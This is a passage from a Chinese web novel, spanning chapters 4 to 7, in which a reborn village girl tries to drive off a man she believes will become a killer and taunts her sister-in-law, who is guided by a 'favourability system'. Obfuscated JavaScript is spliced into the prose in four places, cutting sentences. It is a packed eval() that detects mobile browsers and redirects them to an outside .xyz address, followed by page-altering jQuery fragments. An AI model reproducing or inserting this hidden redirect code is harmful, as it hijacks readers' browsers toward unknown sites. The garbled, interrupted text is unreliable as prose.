昨天累了一整天，连口水都没喝上。回来时家里也吃过晚饭了，他都没好意思提自己没吃饭。 后来睡觉前，秦海霞问他干了多少活，家里的柴火够不够过年烧，他一一回答，又顺嘴提了句自己饭都没顾上吃。 秦海霞温柔又抱歉地说：“真是辛苦你了。” 却也没说要给他做点吃的。 周和满嘴上说没关系、应该的，到底还是有些寒心。 这些话他不好跟父母讲，在外面也没什么知心的朋友，刚才被周晚梨关切的眼神一看，心底的委屈竟有些控制不住，病急乱投医地想找个对象倾诉。 说到一半又反应过来，梨儿还是个孩子，跟嫂嫂关系向来很好，说这些不是徒增她的烦恼吗？ “说呀，你得说呀。”周晚梨忙道，“我是你亲妹妹，你不跟我说跟谁说去？” “你还小，很多事不懂，也别瞎操心。”周和满那股委屈劲已经过了，粗糙的大手在周晚梨头顶揉了一把，岔开话题道，“马上要过年了，你现在最重要的是把病养好。要不然过年我们吃肉，你可就只能看着了。” 周晚梨抗争道：“我不小了，过完年就20岁了。” 周和满一身牛劲，抓住周晚梨后背的棉袄，轻松将人提溜着往山下走：“这不还没过年吗？再说了，在大哥眼里，你永远是小姑娘。” 周晚梨：“……” 算了。 至少从周和满的反应来看，他对秦海霞并非全无芥蒂。 原本周晚梨一直不明白，上辈子哥哥嫂嫂明明看起来很恩爱，为什么秦海霞还会在有孩子的情况下坚决地要离婚。现在看来，他们的感情可能早就出现问题了。 他只要有防备心就好。 眼下最要紧的，还是先解决傅同舟，别的事情都可以靠后。 两人刚回到家，秦海霞便跑出来，有些紧张地问：“你们去哪里了？” 周和满不善隐藏情绪，抿着唇没吭声，周晚梨急忙道：“我吃了饭有点不消化，让大哥陪我出去转了转。” “你午饭也没吃多少啊，怎么会不消化？”丁兰香也在旁边，闻言有些担心，“是不是胃不舒服？还想不想吐？” 周平玉推着自行车从屋里出来，刚好听见这句话，也停下车过来询问：“梨儿又难受了？” “我没……”周晚梨心里一动，反问道，“爸，你这会儿骑车要去哪里？上街吗？” “那个傅同志不是给了钱，让给城玉发电报吗？”周平玉话少，丁兰香替他回答，“马上要过年了，怕晚了人家收不到，你爸就决定现在去发电报。傅同志这么着急，说不定有什么苦衷，最好是能尽快解决，给人家一个准信。” 秦海霞听说周晚梨不消化，讨好地进屋倒了碗热水，这会儿刚走到门口，听他们提起傅同舟又缩了回去。 周晚梨只当没看到她的小动作，向旁边的周和满使了个“稍安勿躁”的眼神，转头对重新骑上车的周平玉道：“爸，我和你一起去。” 周平玉又把脚放下来，回过头不赞同地看着周晚梨。 丁兰香怕他说话难听，再次抢着道：“你去干什么？本来就受了凉，别再吹风了。” “我有点事。放心，我有分寸，不会再着凉了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563140|171404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”周晚梨冲丁兰香眨了眨眼，直接坐上自行车后座，“爸，走吧。” “等一下。”丁兰香对周晚梨是真的完全信任，见状也不再阻拦，而是跑回屋里，拿出帽子围巾将人裹得完全不透风，又叮嘱周平玉，“骑慢点。” 周平玉“嗯”了一声，也没再反对。 他话少，一路上也不跟周晚梨聊天，只偶尔会问问：“冷不冷？” “我都热得快冒汗了。”周晚梨笑道，“爸，你就放心骑吧。” 周平玉还是骑得又慢又稳，花了快半个小时才到镇上。 今天不逢场，街上人不多，但挂了些红灯笼和红色装饰，看着很有过年的氛围。 “爸，我要去买点女孩子家用的东西。”周晚梨跳下自行车，说，“你先去发电报吧，我等下到邮电局找你。” 周平玉默默咽下问她去哪儿的话，只道：“有钱吗？” “有的。”周晚梨拍拍衣兜，朝供销社那边走去。 走了一小段，回头看周平玉已经骑车往邮电局去了，周晚梨便迅速转个弯，跑进旁边的派出所。 镇民们办事一般都是趁着赶集的时候，派出所平常也就没几个人上班。 周晚梨到的时候，值班的中年公安正拎着包，准备锁门下班。 看到有人来，他皱了皱眉道：“有什么事逢场的时候再来，今天没人……” “公安同志，我能查询一下通缉犯名单吗？”周晚梨没在意他的态度，笑眯眯地问。 公安一脸茫然：“什么饭？吃饭去饭店，来派出所干啥。” 周晚梨愣了几秒，忽然想起来，这一年好像还没有通缉令。 “哦，是这样的。”周晚梨迅速换了个说法， “我见到了一个野人。” “啥？”公安同志怀疑自己听错了。 “个子很高，头发特别长，脸上长了好多毛，还不会说人话，只知道‘嗷嗷’叫……” 周晚梨手舞足蹈，说得绘声绘色，公安同志听得半信半疑。 说完后两人对视一眼，中年公安道：“小姑娘……” “不知道抓住野人，算不算一件功劳？”周晚梨又抢着问。 中年公安到嘴边的话一转，变成了：“小姑娘，你是哪里人？” “我是周家湾的人，隔壁是槐树村。”周晚梨说，“我就是在两个村子交界的山上看到野人的。” “你反应的这个情况我记下来了。”中年公安点点头。 “你们要快点派人来看看啊，马上就要过年了，万一野人来村子里伤人，那可就太糟糕了。”周晚梨看着中年公安，一脸真挚地道，“我怕别人不信，也怕他们乱来把野人打死了，所以连家长都没说。我只信任你们公安，我相信你们一定会将人民群众的生命财产安全放在第一位的，对吧？” 她长得好看，尤其是一双清澈的大眼睛，盯着人看的时候要多纯真有多纯真、要多真诚有多真诚。 公安同志感觉自己头顶的警徽都在闪闪发光。 他不由自主就许下承诺：“你放心，我们一定会在过年前安排人去周家湾查看的。” 5. 第 5 章 周晚梨依然不太放心，她怕派出所的人不会把她的话当回事。 其实就算他们真去了，也未必就能吓唬住傅同舟。 但周晚梨也没别的办法了。 这个时间点，傅同舟应当还没开始杀人，就算直接报警，也没理由抓他。 在周晚梨看来，傅同舟之所以来到偏远山村租房，可能就是因为这里信息闭塞，村民们老实、戒备心低，他更容易下手。 那也就说明，他这会儿心理还不够强大，对警察还有畏惧。 这时候警察进村子一趟，也许可以起到震慑作用。 说不定傅同舟就会离开，去别的地方了。 至于他离开这两个村子，还会不会去别的村子为恶，周晚梨就实在顾不上了。 她的能力有限，不足以除掉一个杀人狂魔，只能尽可能让危险远离自己家。 周晚梨甚至不敢透露丝毫信息给其他人，一是真的说不清楚，二是怕大家的防备会刺激到傅同舟，反而坏事。 回到家后，周晚梨又将家里的门窗都检查了一遍，凡是有破漏的地方，都以“要过年了”为由，让周平玉去补漏加固。 周平玉将这工作交给了周和满。 第二天，周和满在家里修补门窗，周晚梨跟在旁边打转，说是要帮忙。 “不用你帮忙。”周和满挥手赶她走，“感冒还没好，待会儿出了汗又要加重，去和你嫂……” 本来想说“去和你嫂嫂玩”，说到一半便闭了嘴。 他是老实，但不傻。 昨天在山坡上他还有点没反应过来，晚上躺在床上细细一想，就察觉到不对劲了。 周晚梨为什么会偷偷跟着秦海霞？ 为什么她对秦海霞“吃里扒外”的行为并不惊讶？ 她又为什么会用那种眼神看他？ 很显然，周晚梨已经察觉到秦海霞一些不太好的行为，只是为了家庭和睦，没有说出口罢了。 这种情况下，他怎么好喊她去和嫂嫂玩？ “我又没干什么，怎么可能出汗？”周晚梨倒是没想到周和满这次反应这么快，她单手抓着一根窗户格子摇来晃去地说话，“你忘记了吗？嫂嫂回娘家了。” 今天一大早，秦海霞就说不放心她父亲扭伤的脚，要回去看看。 真担心父亲的脚，前天周和满去给她家干活的时候她便该一同回去，但她并没有。今天回去，显然是惦记着傅同舟租房的事。 周晚梨和周和满心知肚明，但一个也想知道结果，一个不想在过年前搞得家宅不宁，都没戳破她。 两家离得近，秦海霞向来是随时想回娘家就回，丁兰香什么都不知道，还拿了一斤白糖，让她带回去。 秦海霞佯装推辞：“和满前天去的时候已经带过东西，这次就不要了……” “也好，留下来给梨儿补补身体。”周和满赶紧将白糖接过来。 周晚梨冲秦海霞露出甜甜的笑：“谢谢嫂嫂体恤。” 【好感度-5】 秦海霞：？？？ 她实在搞不懂周晚梨，不敢在她面前久待，也顾不得到手的白糖又飞走了，匆匆忙忙离开。 反正还有二十万呢，这点小东西不用在意。 “以后我不在家的时候，你看着妈一点，别太大方。”周和满想起这事，叮嘱周晚梨道，“妈总是宁愿自己吃亏，也要在礼节上做到位。但有些时候，对有些人，真的没必要。家里本来就穷，还是自己家吃饱更重要。” 周晚梨有些惊讶地看着他。 记忆中，这个大哥也是“穷大方”的人，自己不吃不喝，也要“撑面子”。 现在竟然会说这样的话？ 看来还是真切的饿肚子更让人记忆深刻。 “怎么了？”注意到周晚梨的视线，周和满问道。 周晚梨摇摇头，手上一用力，只听“咔擦”一声，原本就裂了一半的窗户格子，被她“不小心”摇断了。 “这……”周晚梨满脸无辜地瞥了周和满一眼。 “没事，我换一根就好。”周和满还以为她是怕挨骂，笑道，“不会告诉爸的。” “不是，这也太不结实了吧？”周晚梨将手背到身后，悄悄揉了揉发疼的手指，“我都没用力，它自己就断了。” 周和满自然是没怀疑，也不太在意：“木头用久了是这样。” “那就不用木头了吧。”周晚梨顺势道，“换成铁的，铁的牢固。” 周和满看她一眼，欲言又止。 铁的要钱，虽然不贵，但比起免费的木头还是没什么必要。 “这要是来个男的，只怕一巴掌就全拍碎了。”周晚梨只当作没看到，继续小声嘀咕。 周和满心里一动。 东西倒还罢了，反正也没什么值钱的物件，可家里有个长得跟仙女似的妹妹。 村子里明里暗里惦记她的可不少。 这要是哪个流氓……周和满甩甩脑袋，说：“你说得对，就换成铁的，等过完年……” 话还没说完，就听到远处有人扯着嗓子在喊：“平玉！周平玉！” 周和满急忙应了一声。 是熟人捎信，说有他家的电报，让去邮电局取。 “我去吧，应该是城玉叔。”周和满回屋换了件干净的衣服，“正好去买点铁棍回来，把这些窗户格子全换了。” 周晚梨悄悄松了口气，跑进屋将自行车推出来：“我跟你一起去。” “你就别去了，感冒好不容易才好点，再折腾严重了。”这次周和满没答应，“而且我回来还要拉铁棍，也不方便载人。” “好吧。”周晚梨只得作罢，又叮嘱他，“那个傅同舟说这几天住在镇上的招待所里，你拿到电报记得给他回个信，剩下的钱也要还给他——如果他对槐树村那边有意，你就直接回绝了他吧。城玉叔不靠这点租金过日子，我们村也没有姓傅的人家，别为几个租金阻碍别人的认祖大事。” “放心吧，你大哥又不傻。”周和满大手在她脑袋上揉了一把，蹬上自行车，风一般地骑走了。 周晚梨看着他挺拔高大的背影，想起上辈子他后来躺在床上的样子，眼底戾气翻涌。 过了好一阵，周晚梨才平静下来，回屋找了本书来看。 可惜心底惦记的事太多，怎么也看不进去。 正有些烦，就听见秦海霞愉悦的声音在耳边响起：“梨儿，又在看书呢？我们梨儿真好学。” 【好感度-5】 【好感度-5】 【好感度-5】 秦海霞几乎是惊恐地看着周晚梨，没控制住自己，尖声问道：“梨儿，你怎么了？” “我怎么了？我只是在看书啊。”周晚梨合上书，疑惑地反问，“倒是嫂嫂你怎么了？为什么看起来……怪怪的？” 她没有泄露一丝真实情绪，秦海霞看不出破绽，被折磨得快疯了。 甚至没来得及回答周晚梨的问题。 周晚梨猜她又在质疑系统。 果然，下一秒，系统便接连弹出两条新的文字：【本统采用的是全宇宙最尖端科技，绝不可能出错。】 【建议宿主在自己身上找原因。】 “没，没有。”秦海霞一脸迷茫地捋了捋头发，眼珠子乱转，“我，我看错了……对了，你大哥呢？” “大哥上街了，城玉叔回了电报。”周晚梨做戏做全套，“秦伯伯的脚没大碍吧？” “没事，已经好多了。”秦海霞顿了顿，试探着问，“城玉叔怎么说的？” “不知道啊。”周晚梨摇摇头，“电报还没拿回来呢。” 秦海霞看着她，迟疑道：“梨儿，有件事，我得和你说一下。” “什么事啊？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563141|171404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我今天在槐树村见到那个傅同舟了。”秦海霞说。 “啊？”周晚梨故作惊讶，“他去槐树村干什么？” “好像是听别人说槐树村有姓傅的人家，他才找过去的。”秦海霞说得很慢，边说边打量周晚梨的神色，“他看中了我家邻居的房子，打算在槐树村租房了。” 周晚梨：“哦。” 【好感度+5】 【好感度-5】 【好感度+5】 【好感度-5】 【好感度-5】 【……】 系统显然也开始怀疑统生了：【宿主你干了什么？本统从未见过如此复杂的好感度走向，你是不是把攻略对象搞疯了？】 秦海霞自己才是要被周晚梨搞疯了。 她的心是弹簧做的吗？ 这是在干什么呢？ 周晚梨看着秦海霞快要崩溃的表情，拍拍手笑道：“我就说周家湾没有姓傅的人家，那个傅同舟找错了地方吧，他还不信我。” 秦海霞实在看不出破绽，小心翼翼地道：“可是这样一来，城玉叔家的房子就租不出去了。你不会不高兴吗？” “城玉叔的女儿女婿挣钱那么厉害，才不会将几毛钱的房租放在心上。”周晚梨眉眼弯弯，心情是真的不错，“再说了，就算房子租出去，我们家也拿不到一分钱，我为什么要替别人不高兴，嫂嫂你说是不是？” “是啊。”秦海霞点点头。 她也是这样想的，不然说不定还真不会将傅同舟介绍去槐树村。毕竟刷满周晚梨的好感度，系统给的奖励可比那点租金多太多了。 可是，既然如此，周晚梨的好感度为什么会下降呢？ 她到底哪里不满意？ 还是出了什么差错？ “梨儿。”秦海霞咬咬牙，问周晚梨，“你读的书多，嫂嫂请教你一个问题。” 周晚梨微微挑眉：“什么问题？” “就是一个数字，前面带了个减号，代表什么意思啊？”秦海霞有点紧张又期待地望着她。 周晚梨愣了愣，随即反应过来。 秦海霞连小学都没毕业，认识几个字，但数学真不太行。 系统显示，她现在的好感度是-59。 秦海霞大概不知道“负数”代表着什么，她觉得自己对她好感度很高，不可能一直掉，所以可能是系统骗了她，或者她自己理解错了。 周晚梨笑得更甜了：“代表是负数。” “fu数是什么意思？”秦海霞果然不懂。 周晚梨：“就是富余、多余的意思。” 秦海霞眼睛一亮，还想再问什么，周晚梨抢着问了句：“嫂嫂怎么突然问起这个？” “哦，就是看到侄儿做题，有点好奇。”秦海霞心虚，不敢再多问，“那你继续看书，我不打扰你了。” 说完，就走到院子旁边蹲下来，假装拔草。 周晚梨猜她可能是去找系统吵架了，好整以暇地仰靠在椅背上，翘着二郎腿，轻轻摇晃。 果然，几秒后，系统便弹出了新的文字。 【她说错了，负数不是富余的数，是比0还小的数。】 周晚梨都能脑补出秦海霞的语气：“梨儿成绩很好，不可能说错！” 【那就是她在骗你。】 “梨儿很喜欢我，很信任我，没有理由骗我。一定是你在骗我，你是不是不想给我兑现奖励？” 【本统怎么会绑到一根棒槌？】 【丸辣！】 【惨遭统生滑铁卢。】 【一世英名即将毁于一旦。】 看得出来，系统也快崩溃了。 周晚梨“噗嗤”笑出声。 秦海霞敏锐地回头看过来。 “看到一个狗咬狗的笑话，非常好笑。”周晚梨笑眯眯地朝她挥挥手，“嫂嫂要听吗？” 6. 第 6 章 下午，周和满又带回来一个好消息。 周城玉回电报说，嫌麻烦不愿意出租老家的房子，如果有人想买倒是可以便宜卖，只收一千五。 “我去找那位傅同志说清楚了，让他去槐树村租房。”周和满道，“五块钱也全都退给他了。” “……”周晚梨想起他上午还叮嘱自己，不要让丁兰香“穷大方”，结果自己还不是一样。 不过这次周晚梨什么都没说。 傅同舟惹不起，吃亏是福。 只要从此远离这个危险源就好。 当然，还是希望派出所能派人来看看。 原本周晚梨对此并没有抱太大希望，惊喜的是，在腊月二十六这天，还真有两位公安来到了周家湾。 两人并没有直接来找周晚梨，而是挨家挨户走访询问。 一方面是确认一下“野人”的事是不是真的，另一方面也是保护周晚梨——所谓“野人”极有可能是逃犯，万一真有这么个人，他们又没抓到，被对方发现是周晚梨报警，说不定会报复她。 “野人？可以吃吗？” “你看我穷得连饭都吃不饱，像不像野人？” “我见过啊，还偷了我家一只鸡！你们给不给赔？” “真的有，长着四条腿呢！” “……” 走访一圈下来后，得到的消息更混乱了——有几个人说见过“野人”，但描述的样子各不相同。 “野人”不可能同时出现那么多，显然这些人只是信口开河，或者看到点婆娑树影便强行脑补。 好在两位公安对这件事原本就不太相信，倒不算太失望。 年底是盗贼猖獗的时候，乡下村子虽然穷，家家户户也会办年货。外面买的东西可能不多，但肉蛋油这些东西都会准备，尤其很多人家会杀过年猪，每年失窃的数额都不小，甚至可能引发更恶性的案件。 因此派出所也有任务，需要在年前挑几个村子去走走，震慑一下那些盗贼。 要不是因为这个，他们是不可能因为“野人”来这一趟的。 不过既然来了，他们也顺便宣传一些法律常识，提醒大家有事别冲动要找公安——比如抓到小偷不能直接打死，要交给派出所。 “偷东西的贼凭什么不能打？” “就是，有手有脚不好好干活跑来偷鸡摸狗，就该打断他们的手脚。” “现在的贼娃子都凶得很，我们不动手，难道等着被他们打吗？” “……” 村子里没什么恶性案件，关系到切身利益，大家对小偷的厌恶程度可能比杀人犯还要大，一时间群情激奋，吵作一团。 两位公安脸都绿了：“……” 正要发脾气，就听见一个甜甜的女声道：“抓贼的过程中有搏斗很正常，不然怎么抓？贼又不会跪下来等着大家绑。这样不算‘直接打死’，你们不要胡搅蛮缠，打扰公安同志的工作。” 村民里也不都是“榆木疙瘩”，闻言不少人纷纷附和：“我们一定遵纪守法！” 两位公安脸色这才好起来。 今天来的一位公安正好是那天派出所值班的中年公安，他认出刚才说话的人是周晚梨，将她叫到一边，低声道：“我看你是个聪明的，又读过书，比好多大人都明事理。以后村子里要是有什么事，你记得要来报警，不能由着他们莽撞胡来，知道吗？” 周晚梨眨眨眼，也小声问：“你们是不是在山上找到什么了？” 中年公安没承认也没否认，只是道：“去年有个村子，就是抓到小偷把人打死了，结果进去好几个村民……哎，傅同志，你来了？” 他后半句话是冲着周晚梨身后说的。 周晚梨心底升起不妙的预感，猛地回头，果然看到傅同舟靠近两步，朝中年公安点点头。 “……”周晚梨顿时头大如斗。 不是，他怎么又来了？ 他不应该在槐树村吗？ 更让人绝望的是，她希望能够震慑傅同舟的公安同志，直直越过她，和傅同舟热聊起来，仿佛见了亲人一般。 很显然，两人已经比较熟悉了。 听对话，是因为这两位公安先去了槐树村，在那边他们就见过。 得知傅同舟当过兵，也不问问他到底是哪里人，两位公安就交代他盯着点村子里的情况，必要的时候要发挥军人的天职，站出来保护村民。 而傅同舟见到公安显然也并不心虚，答应得相当坦然。 周晚梨：“……” 如果不是有上辈子的记忆，她肯定会以为这是个很有正义感的军人。 她是不是搬起石头砸了自己的脚？ 怎么和上辈子不一样了呢？ 是因为她重生，做了上辈子没做过的事情，导致的连锁反应吗？ 那她还该不该做出改变？ 不改变难道要重复上辈子的悲剧？ 周晚梨一言不发回到家，刚好碰到秦海霞脚步匆匆地从屋子里走出来。 “梨儿，我听说傅同志又来周家湾了？”秦海霞也慌里慌张的，拉着周晚梨问，“他来干什么？” 周晚梨心情不好，顾不上敷衍她，甩开手道：“我怎么知道？” 【好感度-5】 【好感度-10】 【好感度-15】 【……】 秦海霞眼珠子都快瞪出来了。 怎么了？ 到底发生了什么事？ 为什么又在疯狂掉好感度？ 她后来跟系统又掰扯了很久，对系统和周晚梨的说法都将信将疑。但不管这个“-”号代表的到底是什么意思，系统播报的时候说的是“减”，“减”的意思她还是知道的。 听说周晚梨刚才和傅同舟在一起说过话，不会是傅同舟出卖了她吧？ “梨儿，你听我解……”秦海霞刚开了个头，外面就传来了周和满跟傅同舟交谈的声音，她下意识闭嘴。 周晚梨也没心情管她，扭头看向外面。 “进来坐。”周和满笑呵呵地将傅同舟请进门，又对周晚梨和秦海霞道，“快去倒茶。” 然而两人各有心事，谁都没动。 倒是丁兰香听到动静，从厨房跑出来一看，颇为惊喜：“傅同志，你来了？” 她一边麻利地倒茶，一边问道：“你不是在槐树村租房了吗？” “傅同志不打算在槐树村租房了。”周和满高兴地说，“他打算将城玉叔家的房子买下来，以后我们就是邻居了。” 屋子里三个女人齐刷刷发出震惊的声音：“啊？” “不用这么客气，叫我小傅或者同舟就行。”傅同舟非常谦逊地说，“我初来乍到，什么都不了解，还要麻烦各位多多关照。” “买下来？要一千五呢！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563142|171404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “为什么不在槐树村租房了？” “你到底看上周家湾什么了？” 三个女人太过意外，全都没注意傅同舟说了什么，各自表达着疑问。 “你们干什么呢？”周和满好笑又无奈，“这不是好事吗？以后我们家也有邻居了，而且傅同志……同舟长得帅，又当过兵，一看就很厉害，住在我们隔壁，只怕连小偷都不敢来了。多好啊，是不是？” 说着，看了眼秦海霞，心里隐约升起点说不清道不明的快感。 秦海霞脸色泛白，额头已经开始冒汗。 “是，肯定是好事。”丁兰香是几人中最简单的，笑道，“我们是非常欢迎同舟来住的，就是有点意外，本来以为你会在槐树村住下，毕竟他们那边有姓傅的人家……所以，你调查清楚了吗？你祖上真是周家湾的？” “不是因为这个。”傅同舟摇摇头，“槐树村那边的房子出了点意外，已经决定不租了。” 秦海霞没忍住，问道：“出了什么意外？” “你问这么多干啥？”周和满看她一眼，对傅同舟道，“这些是你自己的私事，不用什么都回答。” 傅同舟笑了笑，果然没回答。 秦海霞本就心虚，看傅同舟这样更加发毛，不敢再说话，生怕他把自己干过的事情抖搂出来。 一颗心七上八下，来回打转，呼吸都有些急促。 周晚梨顾不上看她的笑话，她自己心里同样不安。 “傅……哥，你看起来比我大一点，我可以叫你哥吗？”周晚梨这会儿冷静了一点，努力收敛起自己的情绪，摆出人畜无害的模样。 傅同舟点点头：“当然可以。” 丁兰香被这个话题勾起了兴趣，问道：“同舟你多大了？” 傅同舟：“25岁。” 丁兰香有些惊讶，因为傅同舟五官长得年轻，但整个人看起来格外沉稳可靠，给人的感觉会更成熟一些。她之前还以为他跟周和满差不多大，没想到竟要小好几岁。 周晚梨一颗心却是又沉下去一大截——连年龄都对得上。 “结婚了吗？”丁兰香问道。 村子里是这样，新认识一个人，都是先了解对方的婚姻家庭状况。 傅同舟一笑，扭头看向周晚梨：“梨儿……妹妹刚才想问什么？” 周晚梨：“……” 谁是你妹妹了？ 她深吸一口气，努力将语气放得温柔：“我只是好奇，就算槐树村你不满意，怎么就想到又回周家湾了呢？周边还有那么多村子呢。” “梨儿妹妹是不想我住隔壁？”傅同舟挑明了问。 周晚梨自然不会承认：“怎么可能？我们全家都很欢迎你……只是，城玉叔只卖房不租房，万一你家祖上不是周家湾的，你在这儿买套房，不是浪费吗？” “只要房子没问题，就不算浪费。”傅同舟看着周晚梨道，“其实我会回来周家湾买房，跟今天两位公安有点关系。” 周晚梨总觉得他的眼神饱含深意：“什么意思？” “两位公安觉得那个‘野人’很危险，我当过兵，住在村子里也许能保护大家。”傅同舟说，“祖上的情况还没弄清楚，出现槐树村的意外后，我本来也准备在附近买房，他们就建议我买在周家湾。” 周晚梨：“……” 现在突然发疯，抽自己两巴掌，能把他吓走吗？ 7. 第 7 章 周晚梨最后到底没有抽自己。 一是以傅同舟的性格，抽自己大概率是吓不到他的，只可能吓到关心她的家人；二是怕疼，周晚梨对自己下不了手。 上辈子的经历已经很糟糕了，这辈子她不想再委屈自己。 周晚梨想不到办法阻拦，也担心再出现更可怕的连锁反应，一时间束手束脚，只好眼睁睁看着这事就这么定了下来。 周和满又跑了一趟镇上，给周城玉发电报。 腊月二十七，周城玉回了电报，隔着文字都能感受到他的高兴——房子一千五出售，家里所有一切家当全赠送给买家。 周城玉家以前很穷，连媳妇都娶不上，后来收养了一个弃婴，在周家湾没少遭人白眼。 谁也没想到，他那养女长大后找了个城里对象。两口子既能挣钱又孝顺，去年周城玉在家里生病没人照顾，他们就将他接出去一起生活了。 父女俩在周家湾就没过过什么好日子，对这地方也没什么好留恋。 如今有人买房，他们自然愿意，也就好说话。 周城玉家房子虽然不大，但前两年他女儿女婿出钱翻修过，用料结实、做工细致，一千五基本就是个成本价。 他还赠送家当，这让村子里不少人眼红得不行。 但真让他们买，他们也不会要，更拿不出那么多钱。 傅同舟却眼都不眨，当天便去取了钱出来。 周和满父子俩听从周晚梨的建议，拉着村长一同去的，没让钱过自家的手，而是让傅同舟直接从邮电局汇款给周城玉。 就这样，几乎是以迅雷不及掩耳之势，傅同舟就成了周晚梨家的新邻居。 “这次真的太麻烦你们了。”傅同舟拎着两袋子东西过来道谢，“要不是你们帮忙，事情肯定没这么顺利。” 袋子里东西不少，瞥一眼就看到都是白糖、麦乳精等好东西，一家人急忙推辞：“邻里间帮忙是应该的，再说了我们也没帮什么忙，不值得这么大的礼。” 然而傅同舟力气比想象中还大，一家人都推不过他。 最后东西还是留下了。 村子里的人都穷，难免斤斤计较，对这样大方又礼貌的人，很难不生出好感。 丁兰香对傅同舟越来越喜欢，关心地问：“同舟你准备就在周家湾过年吗？” “是的。”傅同舟点点头，却并未多说。 在丁兰香的观念里，过年是最重要的日子，无论发生多大的事，都比不过和家里人团圆。 傅同舟过年都不回家，大概率是和家里关系不好。 丁兰香虽然老实，但也不至于没眼色到大过年的还去刨根问底，戳人家疮疤。 “那你可要抓紧时间准备年货了。”丁兰香丝滑转换话题，“后天便是除夕，明天是今年的最后一次逢场，买东西的人特别多，去晚了根本抢不到。你初来乍到，对地方不熟悉，需要什么先列个单子出来，明天让和满带你去买。” 傅同舟接受了丁兰香的安排，再次道谢。 “谢什么，反正我家也还要买年货。”周和满拍拍他的肩，笑道，“顺路的事。” 腊月二十八，周和满天不亮就出发去镇上了。 周晚梨有心事，睡得浅，一点动静就惊醒过来。 看看天色还早，翻了个身又闭上眼睛，却听见丁兰香两口子在院子里小声商量着什么。 周晚梨反正也不是很想睡，便起身下床。 一出门正好看到两人拿着桶和抹布还有扫帚等工具，准备去帮傅同舟打扫卫生。 周晚梨：“……” “城玉的房子我们平时虽然也有打扫，但毕竟一年多没住人了，明天就要过年，同舟今天还要办年货，哪里有时间打扫？他一个人在周家湾，也没家人帮忙，我们反正又没事，能帮就帮帮。以后就是邻居了，万一有需要人家帮忙的地方呢？”丁兰香向周晚梨解释过后，又道，“时间还早，你再回去睡会儿，等天亮了和你嫂嫂一起做下早饭。” 因为房子没做清洁，傅同舟这两天还住在镇上的招待所，房子钥匙也还在周平玉手里。 他们过去打扫倒是方便。 周晚梨叹了口气，将披在身上的衣服穿好：“我和你们一起去。” 这两天她想了很多，脑子都快炸掉了。 事已至此，再将傅同舟赶走显然已经不太可能。 那便只有先和他打好关系了。 上辈子有人说过，傅同舟虽然是个杀人狂魔，但对家人还挺好。 他第一次杀人，好像就是因为对方欺负他家人。 希望他对关照他的邻居能少一分杀心吧，周晚梨现在只能这么祈祷。 “你感冒还没好彻底，就别去了。”丁兰香拦住周晚梨，“好好休息，争取过个清清白白的好年。” 周家湾的人认为过年吃药是不吉利的事情，很忌讳这事。 当然，丁兰香两口子肯定也是真关心周晚梨。 “我不碰水，扫扫地还是可以的。”周晚梨清楚自己这次的病是怎么回事，到底做不到看着父母一年忙到头，自己却袖手旁观。 她边扎头发，边看了眼秦海霞的屋子。 刚才她起床的时候，秦海霞的房门还开了条缝，这会儿已经关严实了，但空气中还能闻到雪花膏的香味。 昨天傅同舟送的东西里，有两盒雪花膏。 秦海霞先拆了大的那盒，挑出点搽在自己手上试了试，开心道：“嗯，味道还挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563143|171404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好闻，应该是真的。梨儿，这盒大的给你，我要小的。” 当着大家的面，周晚梨拿了那盒小的，用开玩笑的语气道：“我脸小，用小的就行。” 秦海霞早就想要雪花膏了，高兴到根本没意识到周晚梨在嘲讽她。 周晚梨后来将那盒小的雪花膏给了丁兰香，刚才起床的时候发现雪花膏在自己枕头旁边，还没打开过。 秦海霞雪花膏都用了，帮忙打扫卫生的时候却躲起来？ 那可不行。 周晚梨也不喊她，跟着父母往周城玉……不对，现在是傅同舟家走去。 刚到家门口，秦海霞就急匆匆追了过来。 “海霞不用来，我们就够了。”丁兰香急忙将她往回推。 秦海霞看看周晚梨，一边心疼刚才掉的好感度，一边说：“人多干得快一点，都是一家人，就别客气了。你们走的时候就该喊我，我都不知道……” 她说到这里赶紧闭嘴——不知道又怎么跟过来了？ 